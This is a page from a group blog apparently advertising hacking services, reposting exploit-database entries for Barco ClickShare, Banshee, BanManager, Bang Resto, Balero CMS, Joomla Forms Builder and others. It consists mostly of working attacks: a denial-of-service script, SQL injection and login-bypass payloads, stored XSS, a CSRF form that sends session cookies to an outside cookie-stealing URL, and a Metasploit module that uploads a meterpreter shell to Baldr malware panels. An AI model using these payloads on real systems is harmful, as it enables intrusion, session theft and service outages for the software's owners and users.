Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863118336

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/python

# Exploit Title: Barco ClickShare CSE-200 - Remote Denial of Service
# Date: 11-04-2018
# Hardware Link: https://www.barco.com/de/product/clickshare-cse-200
# Exploit Author: Florian Hauser
# Contact: florian DOT g DOT hauser AT gmail DOT com
# CVE: requested by Barco
# Category: Hardware

#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Florian Hauser is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Florian Hauser's 
#  responsibility.
#   
#  Use them at your own risk!
################
# Vulnerability description (you have to be connected to the ClickShare WLAN for that, standard password is 'clickshare'):
# Sending arbitrary unexpected string to TCP port 7100 with respect to -> a certain time sequence <-
# not only disconnects all clients but also results in a crash of this hardware device
# Recover: Switch energy supply off for several minutes and reboot the system. Patches will be delivered in July 2018.
# I got permission from Barco to disclose this vulnerability.
# This affects potentially all other ClickShare products, Barco confirms

import socket
import sys
from time import sleep

if len(sys.argv) != 2:
	print "Usage: exploit.py <ip>"
	sys.exit(0)


# Sending random string until crash occurs. Max. of 50 seems definitely sufficient for that.
# 6-7 requests do the job usually
for x in range(1,50):
	#Create a new socket each time because otherwise the service drops the socket
	#Same request cannot be sent several times in sequence
	s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	
	#Connect to vulnerable TCP port 7100
	connect=s.connect((str(sys.argv[1]), 7100))
	s.send('some evil string \r\n\n')
	print "Buffer " + str(x) + " sent...\n"
	
	result=s.recv(1024)
	print result
	s.close()
	
	#Sleep for a few seconds because otherwise the service denies a socket creation but does not crash
	sleep(7)
HireHackking 
# Exploit Title: Barangay Management System 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-07-05
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/13484/barangay-management-system.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/antiokz/barangay_1.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : index.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/Barangay/adminlogin.php

POST /Barangay/adminlogin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Referer: http://localhost/Barangay/
Cookie: PHPSESSID=jt0a3e89ukmktgtuoedjqmktge
Connection: keep-alive
Upgrade-Insecure-Requests: 1
admin_name=%27%3D%27%27or%27&admin_pass=%27%3D%27%27or%27&adminlogin=Login: undefined

HTTP/1.1 200 OK
Date: Sat, 04 Jul 2020 20:35:25 GMT
Server: Apache/2.4.39 (Win64) PHP/7.2.18
X-Powered-By: PHP/7.2.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 3638
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HireHackking 
'''
Title:
====

Banshee 2.6.2 Local Buffer Overflow Vulnerability


Credit:
======
Name: Ilca Lucian
Contact: lucianfilca@gmail.com
lucian@pwnthecode.org


CVE:
=====

Unknown (for moment)


Product:
=======


Play your music and videos. Keep up with your podcasts and Internet radio.
Discover new music and podcasts. Keep your portable device loaded with good
stuff.

Simple enough to enjoy. Powerful enough to thrill. Open source through and
through.

Product link: http://www.banshee.fm


Abstract:
=======

Lucian I. discovered a Local Buffer Overflow vulnerability in Banshee
Player 2.6.2 .


Affected Version:
=============

Ver 2.6.2


Date:
============
19.06.2016


Exploitation-Technique:
===================

Local


Severity Rating:
===================

4.4


Details:
=======
Vulnerability Description : Banshee Media Player is vulnerable to buffer
overflow vulnerability.The software performs operations on a memory buffer,
but it can read from or write to a memory location that is outside of the
intended boundary of the buffer.Certain languages allow direct addressing
of memory locations and do not automatically ensure that these locations
are valid for the memory buffer that is being referenced. This can cause
read or write operations to be performed on memory locations that may be
associated with other variables, data structures, or internal program data.

Impact : Banshee 2.6.2 is prone to a local buffer-overflow vulnerability
because the application fails to perform adequate boundary checks on
user-supplied input. Specifically, this issue occurs when opening a '.mp3'
playlist file that contains excessive data.

Attackers may leverage this issue to execute remote buffer overflow or
inject arbitrary code in the context of the application. Failed attacks
will cause denial-of-service conditions.

Path Log:

type=PATH msg=audit(1466452858.351:14): item=0 name="/usr/bin/banshee"
inode=17568145 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00
nametype=NORMAL
type=PROCTITLE msg=audit(1466452858.351:14):
proctitle=64656275676673002F7573722F62696E2F62616E73686565
type=SYSCALL msg=audit(1466452858.351:15): arch=c000003e syscall=2
success=yes exit=3 a0=7fffd6ed664f a1=80000 a2=ffffffff a3=ca items=1
ppid=16021 pid=9458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0
egid=0 sgid=0 fsgid=0 tty=pts0 ses=4294967295 comm="debugfs"
exe="/sbin/debugfs" key=(null)
type=CWD msg=audit(1466452858.351:15):  cwd="/root/Downloads"
type=PATH msg=audit(1466452858.351:15): item=0 name="/usr/bin/banshee"
inode=17568145 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00
nametype=NORMAL
type=PROCTITLE msg=audit(1466452858.351:15):
proctitle=64656275676673002F7573722F62696E2F62616E73686565
type=SYSCALL msg=audit(1466453064.143:16): arch=c000003e syscall=59
success=yes exit=0 a0=126cb9f4 a1=adb4f30 a2=12b5d0c0 a3=593 items=3 ppid=1
pid=9559 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0
tty=tty2 ses=1 comm="banshee" exe="/usr/bin/env" key=(null)
type=EXECVE msg=audit(1466453064.143:16): argc=5 a0="/usr/bin/env"
a1="bash" a2="/usr/bin/banshee" a3="--redirect-log" a4="--play-enqueued"
type=CWD msg=audit(1466453064.143:16):  cwd="/root"
type=PATH msg=audit(1466453064.143:16): item=0 name="/usr/bin/banshee"
inode=17568145 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00
nametype=NORMAL
type=PATH msg=audit(1466453064.143:16): item=1 name="/usr/bin/env"
inode=17567018 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00
nametype=NORMAL
type=PATH msg=audit(1466453064.143:16): item=2
name="/lib64/ld-linux-x86-64.so.2" inode=9047695 dev=08:01 mode=0100755
ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
type=PROCTITLE msg=audit(1466453064.143:16):
proctitle=2F7573722F62696E2F656E760062617368002F7573722F62696E2F62616E73686565002D2D72656469726563742D6C6F67002D2D706C61792D656E717565756564
type=SYSCALL msg=audit(1466453064.159:17): arch=c000003e syscall=2
success=yes exit=3 a0=16b4268 a1=0 a2=0 a3=8 items=1 ppid=1 pid=9559 auid=0
uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=tty2 ses=1
comm="bash" exe="/bin/bash" key=(null)
type=CWD msg=audit(1466453064.159:17):  cwd="/root"



Error report image link :

https://postimg.org/image/x0x8raw2v/


Prerequisites:
======================

The attacker needs to entice victims to perform an action in order to
exploit this vulnerability.


Proof Of Concept:
================


POC Exploit code:
'''

#!/usr/bin/python

A = "\x41"

p0c = 'A' * 7550

generate = "dos.mp3"
file = open(generate , "w")
file.write(p0c)
file.close()


'''
Risk:
=====

The security risk of the Local Buffer Overflow Vulnerability is estimated
as moderate.


Credits:
=======

Lucian Ilca
'''
HireHackking 
BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
 
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git
# Version: 1.5.8
# Tested on: Debian

### Vulnerability
Code executed via the updatesetting action will modify 'setting.php'.
In the process, there is not verification of the input value, so it is possible to insert php code.

### Vulnerable param
PHP Code Injection & Stored XSS
 - footer
 - buttons_before
 - buttons_after

Only PHP Code Injection
 - banextra
 - muteextra

### Attack code
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';

POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
Content-Length: 168
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
DNT: 1
Connection: keep-alive

type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=


### Result(in settings.php)
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
$settings['admin_link'] = true; // Show the admin link in the footer of all page
$settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'
HireHackking 
# Exploit Title: Bank Locker Management System - SQL Injection
# Application: Bank Locker Management System
# Date: 12.09.2023
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/
# Tested on: Windows 10 64 bit Wampserver 

## Description:
This report highlights a critical SQL Injection vulnerability discovered in the "Bank Locker Management System" application. The vulnerability allows an attacker to bypass authentication and gain unauthorized access to the application.

## Vulnerability Details:
- **Application Name**: Bank Locker Management System
- **Software Link**: [Download Link](https://phpgurukul.com/bank-locker-management-system-using-php-and-mysql/)
- **Vendor Homepage**: [Vendor Homepage](https://phpgurukul.com/)

## Vulnerability Description:
The SQL Injection vulnerability is present in the login mechanism of the application. By providing the following payload in the login and password fields:

Payload: admin' or '1'='1-- -

An attacker can gain unauthorized access to the application with administrative privileges.

## Proof of Concept (PoC):
1. Visit the application locally at http://blms.local (assuming it's hosted on localhost).
2. Navigate to the "banker" directory: http://blms.local/banker/
3. In the login and password fields, input the following payload:
4. admin' or '1'='1-- -
HireHackking 
## Exploit Title: Bangresto 1.0 - SQL Injection
## Exploit Author: nu11secur1ty
## Date: 12.16.2022
## Vendor: https://axcora.com/, https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
## Demo: https://axcora.my.id/bangrestoapp/start.php
## Software: https://github.com/mesinkasir/bangresto
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto

## Description:
The `itemID` parameter appears to be vulnerable to SQL injection attacks.
The payload ' was submitted in the itemID parameter, and a database
error message was returned.
The attacker can be stooling all information from the database of this
application.

## STATUS: CRITICAL Vulnerability

[+] Payload:

```MySQL
---
Parameter: itemID (GET)
    Type: error-based
    Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)
    Payload: itemID=(UPDATEXML(2539,CONCAT(0x2e,0x7171767871,(SELECT
(ELT(2539=2539,1))),0x7170706a71),2327))&menuID=1
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Bangresto)

## Proof and Exploit:
[href](https://streamable.com/moapnd)

## Time spent
`00:30:00`

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
HireHackking 
# Exploit Title: Bang Resto v1.0 - Stored Cross-Site Scripting (XSS)
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29848

*Steps to Reproduce:*
1. First login to your admin panel.
2. then go to Menu section and click add new menu from group.
your request data will be:

POST /bangresto/admin/menu.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/admin/menu.php
Cookie: PHPSESSID=2vjsfgt0koh0qdiq5n6d17utn6
Connection: close

itemName=test&itemPrice=1&menuID=1&addItem=

3. Then use any XSS Payload in "itemName" parameter and click add.
4. You will see XSS pop up.
HireHackking 
# Exploit Title: Bang Resto v1.0 - 'Multiple' SQL Injection
# Date: 2023-04-02
# Exploit Author: Rahad Chowdhury
# Vendor Homepage:
https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html
# Software Link:
https://github.com/mesinkasir/bangresto/archive/refs/heads/main.zip
# Version: 1.0
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-29849

*Affected Parameters:*
btnMenuItemID, itemID, itemPrice, menuID, staffID, itemPrice, itemID[],
itemqty[], btnMenuItemID

*Steps to Reproduce:*
1. First login your staff panel.
2. then go to "order" menu and Select menu then create order and intercept
request data using burp suite.
so your request data will be:

POST /bangresto/staff/displayitem.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1
Referer: http://127.0.0.1/bangresto/staff/order.php
Cookie: PHPSESSID=2rqvjgkoog89i6g7dn7evdkmk5
Connection: close

btnMenuItemID=1&qty=1

3. "btnMenuItemID" parameter is vulnerable. Let's try to inject union based
SQL Injection use this query ".1 union select
1,2,3,CONCAT_WS(0x203a20,0x557365723a3a3a3a20,USER(),0x3c62723e,0x44617461626173653a3a3a3a3a20,DATABASE(),0x3c62723e,0x56657273696f6e3a3a3a3a20,VERSION())--
-" in "btnMenuItemID" parameter.
4. Check browser you will see user, database and version informations.
5. You could also use sqlmap to dump the whole database by saving the web request from BurpSuite
HireHackking 
# Exploit Title: Bandwidth Monitor 3.9 - 'Svc10StrikeBandMontitor' Unquoted Service Path
# Exploit Author: Bobby Cooke
# Date: 2020-07-15
# Vendor Site: https://www.10-strike.com/
# Software Download: https://www.10-strike.com/bandwidth-monitor/bandwidth-monitor.exe
# Tested On: Windows 10 - Pro 1909 (x86)
# Version: Version 3.9

# Vulnerability Type: 
# Local Privilege Escalation to LocalSystem by Unquoted Service Path.

# Vulnerability Description:
# The 10-Strike Bandwidth Monitor v3.9 services "Svc10StrikeBandMontitor", "Svc10StrikeBMWD", and "Svc10StrikeBMAgent" suffer 
# from unquoted service path vulnerabilities that allow attackers to achieve Privilege Escalation to SYSTEM, at startup, 
# by placing a malicious binary in the truncated service path; such as "C:\Program.exe".

C:\Users\boku>wmic service get name,pathname,startmode,StartName | findstr "10-Strike Bandwidth Monitor"
Svc10StrikeBandMonitor    C:\Program Files\10-Strike Bandwidth Monitor\BMsvc.exe          Auto   LocalSystem
Svc10StrikeBMWD           C:\Program Files\10-Strike Bandwidth Monitor\BMWDsvc.exe        Auto   LocalSystem
Svc10StrikeBMAgent        C:\Program Files\10-Strike Bandwidth Monitor Agent\BMAgent.exe  Auto   LocalSystem
HireHackking 
source: https://www.securityfocus.com/bid/55153/info

Banana Dance is prone to cross-site-scripting and SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Banana Dance B.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3
http://www.example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3
http://www.example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+
HireHackking 
source: https://www.securityfocus.com/bid/50797/info

CMS Balitbang is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/<CMS Balitbang Installation Path>/index.php?id=lih_buku&hal='[SQL]
HireHackking 
source: https://www.securityfocus.com/bid/50797/info
 
CMS Balitbang is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
http://www.example.com/<CMS Balitbang Installation Path>/alumni.php?id=data&tahun&hal='[SQL]
HireHackking 
<!--

Balero CMS v0.7.2 Multiple JS/HTML Injection Vulnerabilities

Vendor: BaleroCMS Software
Product web page: http://www.balerocms.com
Affected version: 0.7.2

Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or
portal.

Desc: Input passed to the 'content' POST parameter and the cookie 'counter'
is not properly sanitised before being returned to the user. This can be
exploited to execute arbitrary HTML and script code in a user's browser
session in context of an affected site.

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5239
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5239.php


04.03.2015

-->


<html>
  <body>
    <script>
      document.cookie="counter=1<script>confirm('XSS')</script>; path=/balerocms/";
    </script>
  </body>
</html>


csrf+stored xss+filter bypass+session hijack:

<html>
  <body>
    <form action="http://localhost/balerocms/admin/edit_delete_post/mod-blog" method="POST">
      <input type="hidden" name="title" value="ZSL" />
      <input type="hidden" name="content" value="pwned&lt;/textarea&gt;<s\cript>document.location="http://www.zeroscience.mk/pentest/cthief.php?cookie="+docu\ment.cookie;</s\cript>" />
      <input type="hidden" name="files" value="joxy.poxy" />
      <input type="hidden" name="delete_post[]" value="135" />
      <input type="hidden" name="id" value="135" />
      <input type="hidden" name="submit" value="" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
HireHackking 

Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities

Vendor: BaleroCMS Software
Product web page: http://www.balerocms.com
Affected version: 0.7.2

Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or
portal.

Desc: The application suffers from multiple blind SQL injection vulnerabilities
when input is passed to several POST parameters thru their affected modules
which are not properly sanitised before being returned to the user or used
in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

Vulnerable POST parameters in affected modules:
-----------------------------------------------
- pages         [admin]
- themes        [admin]
- code          [mod-languages]
- id            [mod-blog, mod-virtual_page]
- title         [mod-blog]
- a             [mod-virtual_page]
- virtual_title [mod-virtual_page]
-----------------------------------------------

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2015-5238
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5238.php


04.03.2015

--


csrf+bsqli poc:

<html>
  <body>
    <form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11" method="POST">
      <input type="hidden" name="virtual_title" value="ZSL" />
      <input type="hidden" name="a" value="1" />
      <input type="hidden" name="content" value="Testingus" />
      <input type="hidden" name="_wysihtml5_mode" value="1" />
      <input type="hidden" name="id" value="11' and benchmark (50000000,sha1(1))-- " />
      <input type="hidden" name="submit_delete" value="" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/http'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Baldr Botnet Panel Shell Upload Exploit",
      'Description'    => %q{
        This module exploits the file upload vulnerability of baldr malware panel.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://prodaft.com']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['php'],
      'Arch'           => [ ARCH_PHP],
      'Targets'        =>
        [
          ['Auto',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ],
          ['Baldr <= v2.0',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ],
          ['Baldr v2.2',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ],
          ['Baldr v3.0 & v3.1',
            {
              'Platform' => 'PHP',
              'Arch' => ARCH_PHP,
              'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Dec 19 2018",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
      ]
    )
  end

  def check 
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path,"/gate.php")
    )

    ver = ''

    if res.code == 200
      if res.body.include?('~;~')
        targets[3] = targets[0]
        #target = targets[3]
        ver = '>= v3.0'
      elsif res.body.include?(';')
        #target = targets[2]
        targets[2] = targets[0]
        ver = 'v2.2'
      elsif res.body.size < 4
        targets[1] = targets[0]
        #target = targets[1]
        ver = '<= v2.0'
      else
        Exploit::CheckCode::Safe  
      end
      print_status("Baldr verison: #{ver}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit

    name = '.'+Rex::Text.rand_text_alpha(4)
    files =
    [
      {data: payload.encoded, fname: "#{name}.php"}
    ]
    zip = Msf::Util::EXE.to_zip(files) 
    hwid = Rex::Text.rand_text_alpha(8).upcase

    if targets[0]
      check
    end


    case target
    when targets[3]
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path,"/gate.php")}
      )
      key = res.body.to_s.split('~;~')[0]
      print_good("Key: #{key}")

      data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
      data = xor(data,key)

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path,"/gate.php"),
        'data'  => data.to_s
        }
      )

      if res.code == 200
        print_good("Bot successfully registered.")
      else
        print_error("New bot register failed !")
        return false
      end

      data = xor(zip.to_s,key)
      form = Rex::MIME::Message.new
      form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")

      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path,"/gate.php"),
        'ctype'     => "multipart/form-data; boundary=#{form.bound}",
        'data'      => form.to_s
      )
      if res && (res.code == 200 ||res.code == 100)
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}") if res
        print_error("Failed to upload payload.")
        return false
      end

    when targets[2]
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path,"/gate.php")}
      )
      key = res.body.to_s.split(';')[0]
      print_good("Key: #{key}")
      data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
      data << zip.to_s
      
      result = ""
      codepoints = data.each_codepoint.to_a
      codepoints.each_index do |i|
          result += (codepoints[i] ^ key[i % key.size].ord).chr
      end

      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path,"/gate.php"),
        'data'      => result.to_s
      )
      if res && (res.code == 200 ||res.code == 100)
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}") if res
        print_error("Failed to upload payload.")
        return false
      end
    else
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => normalize_uri(target_uri.path,"/gate.php"),
        'data'      => zip.to_s,
        'encode_params' => true,
        'vars_get'  => {
          'hwid'  => hwid,
          'os'  => 'Windows 7 x64',
          'cookie'  => '0',
          'pswd'  => '0',
          'credit'  => '0',
          'wallet'  => '0',
          'file'  => '1',
          'autofill'  => '0',
          'version'  => 'v2.0'
        }
      )

      if res && (res.code == 200 ||res.code == 100)
        print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
      else
        print_error("Server responded with code #{res.code}") if res
        print_error("Failed to upload payload.")
        return false
      end
    end


    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3
    )
    
    print_good("Payload successfully triggered !")
  end

  def xor(data, key)
    result = ""
    codepoints = data.each_codepoint.to_a
    codepoints.each_index do |i|
        result += (codepoints[i] ^ key[i % key.size].ord).chr
    end
    return result
  end


end
HireHackking 
# Exploit Title: Balbooa Joomla Forms Builder 2.0.6 - SQL Injection (Unauthenticated)
# Date: 24.10.2021
# Exploit Author: blockomat2100
# Vendor Homepage: https://www.balbooa.com/
# Version: 2.0.6
# Tested on: Docker

An example request to trigger the SQL-Injection:

POST /index.php?option=com_baforms HTTP/1.1
Host: localhost
Content-Length: 862
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAak6w3vHUykgInT
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: 7b1c9321dbfaa3e34d2c66e9b23b9d21=016d065924684a506c09304ba2a13035
Connection: close

------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="1"

{"1":{"submission_id":0,"form_id":1,"field_id":1,"name":"test.png","filename":"test.png","date":"2021-09-28-17-19-51","id":"SQLI"}}
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="form-id"

1
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="task"

form.message
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="submit-btn"

2
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="page-title"

Home
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="page-url"

http://localhost/
------WebKitFormBoundaryTAak6w3vHUykgInT
Content-Disposition: form-data; name="page-id"

0
------WebKitFormBoundaryTAak6w3vHUykgInT--
HireHackking 
# Exploit Title: Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting
# Date: 26-11-2020
# Exploit Author: Parshwa Bhavsar
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14609/bakeshop-online-ordering-system-phpmysqli-full-source-code.html
# Version: 1.0
# Tested on: Windows 10/XAMPP

